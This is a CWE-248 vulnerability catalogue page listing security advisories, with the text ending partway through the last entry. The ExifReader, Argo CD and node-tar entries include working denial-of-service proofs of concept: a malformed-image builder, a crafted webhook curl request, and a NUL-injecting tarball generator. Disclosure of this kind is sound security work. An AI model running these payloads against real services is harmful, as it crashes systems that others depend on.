CWE-248
AllowedUncaught Exception
Abstraction: Base · Status: Draft
An exception is thrown from a function, but it is not caught.
529 vulnerabilities reference this CWE, most recent first.
GHSA-G77H-45RF-HCX4
Vulnerability from github – Published: 2026-07-17 20:19 – Updated: 2026-07-17 20:19Summary
ExifReader 4.40.0 can throw an uncaught RangeError: Offset is outside the bounds of the DataView while parsing crafted HEIC/AVIF files. The file only needs a valid leading ftyp box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte free box or a truncated extended-size box.
This is reachable through the public ExifReader.load() API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.
Credit requested: Yaohui Wang.
Affected version tested
- npm package:
exifreader - Version:
4.40.0 - Repository commit tested:
8cb0261a26b7d986955fe0a6780f076dcb7902e7
Root cause
The ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In src/image-header-iso-bmff.js:
findMetaBox()callsparseBox(dataView, offset)while only checking thatoffset + 8 <= dataView.byteLength.parseBox()callsgetBoxLength()and then unconditionally reads fields such as the full-box version byte formeta/iloc/iinf/idatboxes.getBoxLength()handlesboxLength === 1by callinghasEmptyHighBits(dataView, offset), which readsdataView.getUint32(offset + 8)without first checking that the 64-bit extended size field is present.
As a result, syntactically small or truncated boxes after a valid HEIC/AVIF ftyp box escape the format-detection catch blocks and throw from the main parsing path.
Reproduction
Run this from the repository root against the committed dist/exif-reader.js bundle:
const ExifReader = require('./dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function ascii(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content = []) {
return [...u32be(8 + content.length), ...ascii(type), ...content];
}
for (const brand of ['heic', 'avif']) {
for (const badBox of ['free', 'abcd']) {
const bytes = Uint8Array.from([
...box('ftyp', ascii(brand)),
...box(badBox), // 8-byte box header with no content
]);
try {
ExifReader.load(bytes.buffer);
console.log(`${brand}/${badBox}: no throw`);
} catch (e) {
console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);
console.log(String(e.stack).split('\n').slice(0, 6).join('\n'));
}
}
}
Observed output on Node v23.11.0 with ExifReader 4.40.0:
heic/free: RangeError: Offset is outside the bounds of the DataView
RangeError: Offset is outside the bounds of the DataView
at DataView.prototype.getUint8 (<anonymous>)
at parseBox (.../dist/exif-reader.js:1:16513)
at findMetaBox (.../dist/exif-reader.js:1:19032)
at findOffsets (.../dist/exif-reader.js:1:19101)
heic/abcd: RangeError: Offset is outside the bounds of the DataView
avif/free: RangeError: Offset is outside the bounds of the DataView
avif/abcd: RangeError: Offset is outside the bounds of the DataView
A second variant triggers the extended-size path:
const truncatedExtendedBox = [...u32be(1), ...ascii('free')];
const heic = Uint8Array.from([...box('ftyp', ascii('heic')), ...truncatedExtendedBox]);
ExifReader.load(heic.buffer);
That throws from hasEmptyHighBits() / getBoxLength() because the extended-size high/low fields are not present.
Expected behavior
Malformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.
Security impact
This is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.
Suggested severity: Medium. Suggested CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L.
Suggested fix
Add explicit bounds checks before every DataView read in the ISO-BMFF box parser, especially:
- before reading the 64-bit extended size fields in
getBoxLength(); - before reading the full-box version byte in
parseBox(); - before descending into
parseSubBoxes()when a declared box length exceeds available bytes; - ensure
findMetaBox()breaks on boxes whose declared length is invalid or not fully present.
A regression test should cover ftyp/heic and ftyp/avif followed by an 8-byte empty free/unknown box and by a truncated extended-size box.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.40.0"
},
"package": {
"ecosystem": "npm",
"name": "exifreader"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.40.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53496"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-17T20:19:39Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nExifReader 4.40.0 can throw an uncaught `RangeError: Offset is outside the bounds of the DataView` while parsing crafted HEIC/AVIF files. The file only needs a valid leading `ftyp` box with a HEIC/AVIF major brand followed by a malformed ISO-BMFF box, such as an empty 8-byte `free` box or a truncated extended-size box.\n\nThis is reachable through the public `ExifReader.load()` API for in-memory buffers and through the async file/URL loaders when an application parses attacker-supplied images. In applications that do not wrap every parse in a defensive try/catch, a single uploaded or fetched image can abort the request/worker and cause a denial of service.\n\nCredit requested: Yaohui Wang.\n\n## Affected version tested\n\n- npm package: `exifreader`\n- Version: `4.40.0`\n- Repository commit tested: `8cb0261a26b7d986955fe0a6780f076dcb7902e7`\n\n## Root cause\n\nThe ISO-BMFF parser assumes that every top-level box with at least an 8-byte header also has enough bytes for the fields required by its parsed form. In `src/image-header-iso-bmff.js`:\n\n- `findMetaBox()` calls `parseBox(dataView, offset)` while only checking that `offset + 8 \u003c= dataView.byteLength`.\n- `parseBox()` calls `getBoxLength()` and then unconditionally reads fields such as the full-box version byte for `meta`/`iloc`/`iinf`/`idat` boxes.\n- `getBoxLength()` handles `boxLength === 1` by calling `hasEmptyHighBits(dataView, offset)`, which reads `dataView.getUint32(offset + 8)` without first checking that the 64-bit extended size field is present.\n\nAs a result, syntactically small or truncated boxes after a valid HEIC/AVIF `ftyp` box escape the format-detection catch blocks and throw from the main parsing path.\n\n## Reproduction\n\nRun this from the repository root against the committed `dist/exif-reader.js` bundle:\n\n```js\nconst ExifReader = require(\u0027./dist/exif-reader.js\u0027);\n\nfunction u32be(n) {\n return [(n \u003e\u003e\u003e 24) \u0026 255, (n \u003e\u003e\u003e 16) \u0026 255, (n \u003e\u003e\u003e 8) \u0026 255, n \u0026 255];\n}\nfunction ascii(s) {\n return Array.from(Buffer.from(s, \u0027ascii\u0027));\n}\nfunction box(type, content = []) {\n return [...u32be(8 + content.length), ...ascii(type), ...content];\n}\n\nfor (const brand of [\u0027heic\u0027, \u0027avif\u0027]) {\n for (const badBox of [\u0027free\u0027, \u0027abcd\u0027]) {\n const bytes = Uint8Array.from([\n ...box(\u0027ftyp\u0027, ascii(brand)),\n ...box(badBox), // 8-byte box header with no content\n ]);\n\n try {\n ExifReader.load(bytes.buffer);\n console.log(`${brand}/${badBox}: no throw`);\n } catch (e) {\n console.log(`${brand}/${badBox}: ${e.name}: ${e.message}`);\n console.log(String(e.stack).split(\u0027\\n\u0027).slice(0, 6).join(\u0027\\n\u0027));\n }\n }\n}\n```\n\nObserved output on Node v23.11.0 with ExifReader 4.40.0:\n\n```text\nheic/free: RangeError: Offset is outside the bounds of the DataView\nRangeError: Offset is outside the bounds of the DataView\n at DataView.prototype.getUint8 (\u003canonymous\u003e)\n at parseBox (.../dist/exif-reader.js:1:16513)\n at findMetaBox (.../dist/exif-reader.js:1:19032)\n at findOffsets (.../dist/exif-reader.js:1:19101)\n\nheic/abcd: RangeError: Offset is outside the bounds of the DataView\navif/free: RangeError: Offset is outside the bounds of the DataView\navif/abcd: RangeError: Offset is outside the bounds of the DataView\n```\n\nA second variant triggers the extended-size path:\n\n```js\nconst truncatedExtendedBox = [...u32be(1), ...ascii(\u0027free\u0027)];\nconst heic = Uint8Array.from([...box(\u0027ftyp\u0027, ascii(\u0027heic\u0027)), ...truncatedExtendedBox]);\nExifReader.load(heic.buffer);\n```\n\nThat throws from `hasEmptyHighBits()` / `getBoxLength()` because the extended-size high/low fields are not present.\n\n## Expected behavior\n\nMalformed/truncated metadata boxes should be handled like other malformed metadata in the project: return only the successfully parsed file type/metadata, return no app markers, or throw a controlled project-specific error. A safe JavaScript bounds error should not escape from the parser for an attacker-controlled image container.\n\n## Security impact\n\nThis is a denial-of-service issue for services that parse user-provided HEIC/AVIF files with ExifReader. A minimal attacker-controlled image buffer can cause an unhandled exception in the parser and abort the surrounding request/worker if the embedding application does not catch every parse error.\n\nSuggested severity: Medium. Suggested CVSS: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`.\n\n## Suggested fix\n\nAdd explicit bounds checks before every `DataView` read in the ISO-BMFF box parser, especially:\n\n- before reading the 64-bit extended size fields in `getBoxLength()`;\n- before reading the full-box version byte in `parseBox()`;\n- before descending into `parseSubBoxes()` when a declared box length exceeds available bytes;\n- ensure `findMetaBox()` breaks on boxes whose declared length is invalid or not fully present.\n\nA regression test should cover `ftyp/heic` and `ftyp/avif` followed by an 8-byte empty `free`/unknown box and by a truncated extended-size box.",
"id": "GHSA-g77h-45rf-hcx4",
"modified": "2026-07-17T20:19:39Z",
"published": "2026-07-17T20:19:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-g77h-45rf-hcx4"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattiasw/ExifReader"
},
{
"type": "WEB",
"url": "https://github.com/mattiasw/ExifReader/releases/tag/v4.40.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "ExifReader HEIC/AVIF ISO-BMFF parser throws uncaught RangeError on truncated boxes"
}
GHSA-GHRQ-5WPP-HXX5
Vulnerability from github – Published: 2026-07-31 16:20 – Updated: 2026-07-31 16:20Summary
A maliciously crafted packet received & parsed during the SFTP connection handshake will cause a Go panic.
Impact
All wings users with an open SFTP port.
Workarounds
Close SFTP port.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pterodactyl/wings"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.13.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52856"
],
"database_specific": {
"cwe_ids": [
"CWE-129",
"CWE-20",
"CWE-248",
"CWE-400",
"CWE-617",
"CWE-755"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-31T16:20:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA maliciously crafted packet received \u0026 parsed during the SFTP connection handshake will cause a Go panic.\n\n### Impact\nAll wings users with an open SFTP port.\n\n### Workarounds\nClose SFTP port.",
"id": "GHSA-ghrq-5wpp-hxx5",
"modified": "2026-07-31T16:20:25Z",
"published": "2026-07-31T16:20:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/security/advisories/GHSA-ghrq-5wpp-hxx5"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/commit/8e49c7c0eda815d3ada171831876a1c14c493026"
},
{
"type": "PACKAGE",
"url": "https://github.com/pterodactyl/wings"
},
{
"type": "WEB",
"url": "https://github.com/pterodactyl/wings/releases/tag/v1.13.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Wings: Maliciously crafted packet during SFTP connection handshake causes denial of service"
}
GHSA-GJM5-72CH-9675
Vulnerability from github – Published: 2026-07-18 15:31 – Updated: 2026-07-18 15:31SurrealDB versions before 2.1.0 contain a denial of service vulnerability in the sorting mechanism when using ORDER BY rand() clause. Authorized clients can execute queries with ORDER BY rand() to trigger a panic in the sorting function, crashing the server.
{
"affected": [],
"aliases": [
"CVE-2024-58359"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-18T14:17:08Z",
"severity": "HIGH"
},
"details": "SurrealDB versions before 2.1.0 contain a denial of service vulnerability in the sorting mechanism when using ORDER BY rand() clause. Authorized clients can execute queries with ORDER BY rand() to trigger a panic in the sorting function, crashing the server.",
"id": "GHSA-gjm5-72ch-9675",
"modified": "2026-07-18T15:31:48Z",
"published": "2026-07-18T15:31:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-m52v-24p8-654f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-58359"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/surrealdb-before-denial-of-service-via-rand-sorting"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GMFG-PFQM-QMCP
Vulnerability from github – Published: 2024-08-08 12:30 – Updated: 2024-08-08 12:30Vulnerability of uncaught exceptions in the Graphics module Impact: Successful exploitation of this vulnerability may affect service confidentiality.
{
"affected": [],
"aliases": [
"CVE-2024-42037"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-08T10:15:08Z",
"severity": "CRITICAL"
},
"details": "Vulnerability of uncaught exceptions in the Graphics module\nImpact: Successful exploitation of this vulnerability may affect service confidentiality.",
"id": "GHSA-gmfg-pfqm-qmcp",
"modified": "2024-08-08T12:30:34Z",
"published": "2024-08-08T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-42037"
},
{
"type": "WEB",
"url": "https://https://consumer.huawei.com/en/support/bulletin/2024/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GPW9-FWM8-7RX7
Vulnerability from github – Published: 2023-07-27 17:13 – Updated: 2023-07-27 21:36Impact
In Sails apps <=v1.5.6, an attacker can send a virtual request that will cause the node process to crash.
Patches
This behavior was fixed in Sails v1.5.7
Workarounds
Disable the sockets hook and remove the sails.io.js client
References
https://github.com/balderdashy/sails/pull/7287
Big thanks to @ThomasRinsma at Codean!
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "sails"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-38504"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-27T17:13:14Z",
"nvd_published_at": "2023-07-27T19:15:10Z",
"severity": "HIGH"
},
"details": "### Impact\nIn Sails apps \u003c=v1.5.6, an attacker can send a virtual request that will cause the node process to crash. \n\n### Patches\nThis behavior was fixed in Sails [v1.5.7](https://github.com/balderdashy/sails/releases/tag/v1.5.7)\n\n### Workarounds\nDisable the sockets hook and remove the `sails.io.js` client\n\n### References\nhttps://github.com/balderdashy/sails/pull/7287\n\nBig thanks to @ThomasRinsma at [Codean](https://www.linkedin.com/company/codeanio/)!",
"id": "GHSA-gpw9-fwm8-7rx7",
"modified": "2023-07-27T21:36:06Z",
"published": "2023-07-27T17:13:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/balderdashy/sails/security/advisories/GHSA-gpw9-fwm8-7rx7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38504"
},
{
"type": "WEB",
"url": "https://github.com/balderdashy/sails/pull/7287"
},
{
"type": "WEB",
"url": "https://github.com/balderdashy/sails/commit/4a023dc5095a4b30fdc8535f705ed34cd22d2f7d"
},
{
"type": "PACKAGE",
"url": "https://github.com/balderdashy/sails"
},
{
"type": "WEB",
"url": "https://github.com/balderdashy/sails/releases/tag/v1.5.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "DoS vulnerability for apps with sockets enabled"
}
GHSA-GPX4-37G2-C8PV
Vulnerability from github – Published: 2025-09-30 18:32 – Updated: 2025-10-23 20:29Summary
In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.
The slice index [0] is accessed without a length check, causing an index-out-of-range panic.
A single unauthenticated HTTP POST is enough to kill the process.
Details
case azuredevops.GitPushEvent:
// util/webhook/webhook.go -- line ≈147
revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty
change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
touchedHead = payload.Resource.RefUpdates[0].Name ==
payload.Resource.Repository.DefaultBranch
If the attacker supplies "refUpdates": [], the slice has length 0.
The webhook code has no recover(), so the panic terminates the entire binary.
PoC
payload-azure-empty.json:
{
"eventType": "git.push",
"resource": {
"refUpdates": [],
"repository": {
"remoteUrl": "https://example.com/dummy",
"defaultBranch": "refs/heads/master"
}
}
}
curl call:
curl -k -X POST https://argocd.example.com/api/webhook \
-H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
-H 'Content-Type: application/json' \
--data-binary @payload-azure-empty.json
Observed crash:
panic: runtime error: index out of range [0] with length 0
goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
webhook.go:147 +0x1ea5
...
Mitigation
If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.
If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.
apiVersion: v1
kind: Secret
metadata:
name: argocd-secret
type: Opaque
data:
+ webhook.azuredevops.username: <your base64-encoded secret here>
+ webhook.azuredevops.password: <your base64-encoded secret here>
For more information
- Open an issue in the Argo CD issue tracker or discussions
- Join us on Slack in channel #argo-cd
Credits
Discovered by Jakub Ciolek at AlphaSense.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.14.19"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v2"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0-rc1"
},
{
"fixed": "2.14.20"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0-rc1"
},
{
"fixed": "3.2.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"3.2.0-rc1"
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0-rc1"
},
{
"fixed": "3.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.0.18"
},
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0-rc1"
},
{
"fixed": "3.0.19"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-59538"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2025-09-30T18:32:31Z",
"nvd_published_at": "2025-10-01T21:16:43Z",
"severity": "HIGH"
},
"details": "### Summary\n\nIn the default configuration, `webhook.azuredevops.username` and `webhook.azuredevops.password` not set, Argo CD\u2019s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.\n\nThe slice index [0] is accessed without a length check, causing an index-out-of-range panic.\n\nA single unauthenticated HTTP POST is enough to kill the process.\n\n### Details\n\n```go\ncase azuredevops.GitPushEvent:\n // util/webhook/webhook.go -- line \u2248147\n revision = ParseRevision(payload.Resource.RefUpdates[0].Name) // panics if slice empty\n change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)\n change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)\n touchedHead = payload.Resource.RefUpdates[0].Name ==\n payload.Resource.Repository.DefaultBranch\n```\n\nIf the attacker supplies \"refUpdates\": [], the slice has length 0.\n\nThe webhook code has no recover(), so the panic terminates the entire binary.\n\n### PoC\n\npayload-azure-empty.json:\n```json\n{\n \"eventType\": \"git.push\",\n \"resource\": {\n \"refUpdates\": [],\n \"repository\": {\n \"remoteUrl\": \"https://example.com/dummy\",\n \"defaultBranch\": \"refs/heads/master\"\n }\n }\n}\n```\n\ncurl call:\n\n```shell\ncurl -k -X POST https://argocd.example.com/api/webhook \\\n -H \u0027X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n --data-binary @payload-azure-empty.json\n```\n\nObserved crash:\n\n```\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 205 [running]:\ngithub.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo\n webhook.go:147 +0x1ea5\n...\n```\n\n### Mitigation\n\nIf you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.\n\nIf you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.\n\n```diff\napiVersion: v1\nkind: Secret\nmetadata:\n name: argocd-secret\ntype: Opaque\ndata:\n+ webhook.azuredevops.username: \u003cyour base64-encoded secret here\u003e\n+ webhook.azuredevops.password: \u003cyour base64-encoded secret here\u003e\n```\n\n### For more information\n\n* Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)\n* Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd\n\n### Credits\n\nDiscovered by Jakub Ciolek at AlphaSense.",
"id": "GHSA-gpx4-37g2-c8pv",
"modified": "2025-10-23T20:29:02Z",
"published": "2025-09-30T18:32:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-gpx4-37g2-c8pv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59538"
},
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/commit/1a023f1ca7fe4ec942b4b6696804988d5a632baf"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2025-3995"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Argo CD Unauthenticated Remote DoS via malformed Azure DevOps git.push webhook"
}
GHSA-GVWX-54WH-QM9J
Vulnerability from github – Published: 2026-07-20 21:51 – Updated: 2026-07-20 21:51Summary
node-tar strips trailing NUL bytes from long-name (L) and long-linkpath (K) GNU extended headers but does not apply the same sanitization to equivalent fields delivered via PAX (x typeflag) extended headers. A PAX record of the form path=visible.txt\x00hidden.txt is parsed verbatim into entry.path and flows into fs.lstat() / fs.open(), which Node.js core rejects with ERR_INVALID_ARG_VALUE. The throw originates inside an FSReqCallback async chain that is not wrapped by the consumer's await/try-catch around tar.x() — it surfaces as uncaughtException and terminates the process.
This is a remote denial-of-service primitive against any process that extracts attacker-supplied tarballs through tar.x / tar.extract / tar.t / tar.Parser, even when the consumer follows the documented try/catch error-handling pattern.
A secondary parser-differential (CWE-436) exists because tar(1), bsdtar, and Python tarfile truncate the path at the first NUL (yielding visible.txt) while node-tar retains the full string. A validator that pre-scans a tarball with one tool and extracts with the other is bypassed.
Root cause
Vulnerable sink — src/pax.ts:157-183
PAX KV records flow through parseKVLine. The value half (v) is assigned directly to the result object with no sanitization for embedded NUL bytes:
// src/pax.ts:157
const parseKVLine = (set: Record<string, unknown>, line: string) => {
const n = parseInt(line, 10)
if (n !== Buffer.byteLength(line) + 1) return set
line = line.slice((n + ' ').length)
const kv = line.split('=')
const r = kv.shift()
if (!r) return set
const k = r.replace(/^SCHILY\.(dev|ino|nlink)/, '$1')
const v = kv.join('=') // <-- NO NUL STRIP
set[k] =
/^([A-Z]+\.)?([mac]|birth|creation)time$/.test(k) ?
new Date(Number(v) * 1000)
: /^[0-9]+$/.test(v) ? +v
: v // <-- v with NULs lands here
return set
}
The PAX record body is length-prefixed, so the parser knows the exact byte boundary — but it never checks whether the value half between = and \n contains NUL. The result is consumed by Header / ReadEntry, where entry.path and entry.linkpath carry the embedded NUL all the way to fs.lstat().
Correctly-patched cousin sink — src/parse.ts:375-388
The equivalent code path for GNU L/K long-headers does strip NUL bytes:
// src/parse.ts:375
case 'NextFileHasLongPath':
case 'OldGnuLongPath': {
const ex = this[EX] ?? Object.create(null)
this[EX] = ex
ex.path = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
case 'NextFileHasLongLinkpath': {
const ex = this[EX] || Object.create(null)
this[EX] = ex
ex.linkpath = this[META].replace(/\0.*/, '') // <-- NUL strip applied
break
}
The parse.ts fix is the maintainer's own acknowledgement that path strings on this codepath must be NUL-stripped before reaching fs.*. The PAX path produces the identical primitive but bypasses the guard.
Downstream blast radius
entry.path and entry.linkpath are consumed in:
- src/unpack.ts → fs.lstat, fs.open, fs.symlink, fs.link, fs.mkdir
- src/list.ts (no crash — listing tolerates NUL in strings)
- Any consumer of the ReadEntry event that calls path.join() / fs.* on entry.path
The crash fires inside the FSReqCallback Node-internal async machinery, outside the user's await tar.x(...) Promise rejection boundary.
Proof of Concept
Artifacts
poc-null-byte-crash.tar— 3072 bytes — PAXpath=visible.txt\x00hidden.txtpoc-null-linkpath-crash.tar— 2560 bytes — PAXlinkpath=target\x00garbage(symlink target sink)poc1-pax-prefix.py— minimal PAX-header builder (Python 3, no deps)
Tarball generator (minimal repro — Python 3)
#!/usr/bin/env python3
"""Minimal PAX-NUL-injection tarball generator for node-tar PoC."""
import os
def cksum(b):
s = 0
for i, x in enumerate(b):
s += 0x20 if 148 <= i < 156 else x
return s
def pad512(buf):
rem = len(buf) % 512
return buf + b'\0' * (512 - rem) if rem else buf
def hdr(name, size, typeflag, prefix=b'', linkpath=b''):
b = bytearray(512)
b[0:len(name[:100])] = name[:100]
b[100:108] = b'0000644\0'
b[108:116] = b'0001000\0'
b[116:124] = b'0001000\0'
b[124:136] = ('%011o ' % size).encode()
b[136:148] = ('%011o ' % 0).encode()
b[148:156] = b' '
b[156:157] = typeflag
b[157:157+len(linkpath[:100])] = linkpath[:100]
b[257:265] = b'ustar\x0000'
b[265:270] = b'root\0'
b[297:302] = b'root\0'
b[329:337] = b'0000000\0'
b[337:345] = b'0000000\0'
b[345:345+len(prefix[:155])] = prefix[:155]
s = cksum(b)
b[148:156] = ('%06o\0 ' % s).encode()
return bytes(b)
def pax(records):
body = b''
for k, v in records:
kv = b' ' + k + b'=' + v + b'\n'
for digits in range(1, 8):
total = digits + len(kv)
if len(str(total)) == digits:
break
body += str(total).encode() + kv
return pad512(hdr(b'PaxHeader/poc', len(body), b'x') + body)
out = pax([(b'path', b'visible.txt\x00hidden.txt')]) # NUL in PAX path
out += hdr(b'placeholder', 1, b'0')
out += pad512(b'A')
out += b'\0' * 1024 # end-of-archive
open('poc.tar', 'wb').write(out)
Reproduction
# 1. Generate tarball
python3 poc1-pax-prefix.py # writes poc.tar (3 KB)
# 2. Install vulnerable version
mkdir repro && cd repro
npm init -y && npm install tar@7.5.16
# 3. Try to extract with documented try/catch — observe uncaught exception
mkdir -p ./out
node --input-type=module -e '
process.on("uncaughtException", e => {
console.log("UNCAUGHT:", e.code, "-", e.message);
process.exit(99);
});
import("tar").then(async tar => {
try {
await tar.x({ file: "../poc.tar", cwd: "./out" });
console.log("NORMAL_RETURN");
} catch (e) {
console.log("CAUGHT_BY_USER:", e.code);
}
});'
Observed output (verified 2026-06-23 against tar@7.5.16)
UNCAUGHT: ERR_INVALID_ARG_VALUE - The argument 'path' must be a string,
Uint8Array, or URL without null bytes.
Received '/.../out/visible.txt\x00hidden.txt'
exit: 99
The exception bypasses the user's try { await tar.x(...) } catch (e) { ... } block and lands in the global uncaughtException handler. In a typical server without that handler, the process exits.
Impact
Direct: remote DoS
Any service that ingests attacker-supplied tarballs via node-tar inherits a one-tarball-kills-the-process primitive. Realistic deployments where this is reachable without user interaction:
- npm registry tarball ingestion and downstream mirrors
- GitHub Actions cache restore (
actions/cache,actions/setup-*extracting toolchains) - Container image build pipelines that unpack layer tarballs through node tooling
- Backup-restore services accepting user uploads
- CI artifact processors and badge generators
- Static-site / Docusaurus / Next.js build runners that fetch and extract dep tarballs
- Cloud functions that auto-extract uploaded archives
A correctly-coded consumer that does:
try {
await tar.x({ file: req.upload.path, cwd: tmpdir });
} catch (e) {
return res.status(400).json({ error: 'bad archive' });
}
does not catch this throw. The Node process dies and (depending on the supervisor) the worker may take time to respawn or never respawn if it dies during boot.
